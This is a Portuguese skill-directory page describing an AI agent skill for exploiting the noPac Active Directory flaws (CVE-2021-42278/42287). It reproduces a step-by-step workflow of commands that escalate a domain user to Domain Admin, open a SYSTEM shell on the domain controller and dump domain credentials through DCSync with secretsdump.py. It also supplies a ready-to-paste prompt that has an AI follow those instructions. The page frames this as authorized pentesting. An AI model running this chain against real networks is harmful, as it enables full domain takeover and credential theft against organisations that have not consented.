Pular para o conteúdo
Skillpedia
Diversos35 mil · #5753

exploiting-nopac-cve-2021-42278-42287

Faz seu agente explorar a cadeia de escalada de privilégios no Active Directory noPac (CVE-2021-42278/42287).

O que ela faz

Essa ferramenta ajuda a testar a segurança de redes de computadores, especificamente explorando falhas antigas (CVE-2021-42278 e CVE-2021-42287) no sistema Active Directory da Microsoft. Ela permite que um usuário comum ganhe privilégios de administrador.

Quando usar

  • ✓Ao testar a segurança de uma rede com permissão.
  • ✓Ao analisar como ataques funcionam em um ambiente controlado.
  • ✓Durante simulações de ataque (red teaming) para encontrar fraquezas.

Exemplo do que pedir para a IA

“Quero testar se a falha noPac pode ser explorada na nossa rede.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta usa duas falhas conhecidas para enganar o sistema de autenticação. Ela faz parecer que um usuário comum é um controlador de domínio, permitindo que ele obtenha acesso total.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nopac-cve-2021-42278-42287

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando o noPac (CVE-2021-42278 / CVE-2021-42287)

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude de computador.

Visão Geral

noPac é uma cadeia crítica de exploração que combina duas vulnerabilidades do Active Directory: CVE-2021-42278 (falsificação de sAMAccountName) e CVE-2021-42287 (confusão de PAC do KDC). Juntas, elas permitem que qualquer usuário autenticado do domínio escale para privilégios de Administrador de Domínio, potencialmente alcançando o comprometimento total do domínio em menos de 60 segundos. A CVE-2021-42278 permite que um atacante modifique o atributo sAMAccountName de uma conta de máquina para corresponder ao nome de um Controlador de Domínio (menos o '$' final). A CVE-2021-42287 explora uma falha na validação do PAC do Kerberos, onde o KDC, incapaz de encontrar a conta renomeada, recorre a anexar '$' e emite um ticket para a conta do Controlador de Domínio. A Microsoft corrigiu ambas as vulnerabilidades em novembro de 2021 (KB5008380 e KB5008602), mas muitos ambientes permanecem sem correção. O exploit foi lançado publicamente por cube0x0 e Ridter em dezembro de 2021.

Quando Usar

  • Ao realizar testes de segurança autorizados que envolvam a exploração de nopac cve 2021 42278 42287
  • Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
  • Ao conduzir exercícios de equipe vermelha ou engajamentos de teste de penetração
  • Ao construir capacidades de detecção com base na compreensão de técnicas ofensivas

Pré-requisitos

  • Familiaridade com conceitos e ferramentas de red teaming
  • Acesso a um ambiente de teste ou laboratório para execução segura
  • Python 3.8+ com as dependências necessárias instaladas
  • Autorização apropriada para quaisquer atividades de teste

Objetivos

  • Escanear o domínio alvo em busca da vulnerabilidade noPac (CVE-2021-42278/42287)
  • Criar ou alavancar uma conta de máquina com sAMAccountName modificado
  • Explorar a confusão de PAC do KDC para obter um TGT para o Controlador de Domínio
  • Usar o ticket do DC para realizar DCSync e extrair credenciais do domínio
  • Alcançar acesso de Administrador de Domínio a partir de uma conta de usuário de domínio padrão
  • Documentar a cadeia completa de exploração com evidências

Mapeamento MITRE ATT&CK

  • T1068 - Exploitation for Privilege Escalation (Exploração para Escalação de Privilégios)
  • T1136.002 - Create Account: Domain Account (Criar Conta: Conta de Domínio)
  • T1078.002 - Valid Accounts: Domain Accounts (Contas Válidas: Contas de Domínio)
  • T1558 - Steal or Forge Kerberos Tickets (Roubar ou Forjar Tickets Kerberos)
  • T1003.006 - OS Credential Dumping: DCSync (Extração de Credenciais do SO: DCSync)

Fluxo de Trabalho

Fase 1: Verificação de Vulnerabilidade

  1. Verifique se o domínio é vulnerável usando o scanner noPac:
    # Using cube0x0's noPac scanner
    python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
    
    # Using CrackMapExec module
    crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
    
  2. Verifique o MachineAccountQuota (o padrão é 10, permitindo que qualquer usuário ingresse computadores):
    # Check MachineAccountQuota via LDAP
    python3 -c "
    import ldap3
    server = ldap3.Server('10.10.10.1')
    conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
    conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
    print(conn.entries[0]['ms-DS-MachineAccountQuota'])
    "
    

Fase 2: Exploração com a Ferramenta noPac

  1. Execute a cadeia completa de exploração do noPac:
    # Using cube0x0's noPac (gets a shell on the DC)
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      -dc-host DC01 -shell --impersonate administrator -use-ldap
    
    # Using Ridter's noPac (alternative implementation)
    python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
      --impersonate administrator -dump
    
  2. O exploit automaticamente:
    • Cria uma nova conta de máquina (ou usa uma existente)
    • Renomeia o sAMAccountName da conta de máquina para corresponder ao DC (por exemplo, "DC01")
    • Solicita um TGT para o nome da conta falsificada
    • Restaura o sAMAccountName original
    • Usa S4U2self para obter um ticket de serviço que representa o usuário alvo
    • O KDC não encontra nenhuma conta correspondente a "DC01" e recorre a "DC01$" (o DC real)

Fase 3: Pós-Exploração

  1. Com o ticket do Controlador de Domínio obtido, execute o DCSync:
    # DCSync using secretsdump.py with the Kerberos ticket
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
    
    # Or directly through the noPac shell
    # The shell runs as SYSTEM on the DC
    

…

Perguntas frequentes

O que é Active Directory?

É um sistema da Microsoft usado para gerenciar computadores e usuários em uma rede corporativa.

O que são CVEs?

São números que identificam vulnerabilidades (falhas de segurança) conhecidas em softwares.

É seguro usar isso?

Somente em redes que você tem permissão explícita para testar. Usar em redes não autorizadas é ilegal.

Detalhes

Descrição original do autor

Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5753
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas